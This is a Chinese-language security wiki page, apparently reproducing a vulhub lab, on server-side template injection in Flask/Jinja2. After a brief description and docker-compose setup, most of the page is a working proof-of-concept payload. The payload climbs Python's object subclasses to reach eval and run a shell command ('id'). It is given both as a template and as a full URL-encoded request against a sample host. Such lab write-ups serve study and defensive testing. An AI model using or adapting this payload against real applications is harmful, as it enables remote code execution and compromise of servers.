menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Jinja2 SSTI 服务端模版注入攻击 chevron_right Jinja2 SSTI 服务端模版注入攻击.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Jinja2 SSTI 服务端模版注入攻击.md
    1.88 KB / 2021-07-15 19:54:31
        Flask / jinja2 SSTI 服务端模版注入攻击
    ======================================
    
    一、漏洞简介
    ------------
    
    `SSTI`即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成`XSS`,任意文件读取,代码执行等一系列问题。
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    编译及运行测试环境:
    
        docker-compose build
        docker-compose up -d
    
    访问`http://www.0-sec.org/?name={{233*233}}`,得到54289,说明SSTI漏洞存在。
    
    获取eval函数并执行任意python代码的POC:
    
        {% for c in [].__class__.__base__.__subclasses__() %}
        {% if c.__name__ == 'catch_warnings' %}
          {% for b in c.__init__.__globals__.values() %}
          {% if b.__class__ == {}.__class__ %}
            {% if 'eval' in b.keys() %}
              {{ b['eval']('__import__("os").popen("id").read()') }}
            {% endif %}
          {% endif %}
          {% endfor %}
        {% endif %}
        {% endfor %}
    
    访问`http://www.0-sec.org:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D`,得到执行结果:
    
    ![](./resource/Jinja2SSTI服务端模版注入攻击/media/rId24.png)
    
    参考链接
    --------
    
    > https://drops.org.cn/Python/flask-jinja2-ssti.html\#directory072591889128396616
    >
    > https://vulhub.org/\#/environments/flask/ssti/
    
    
    links
    file_download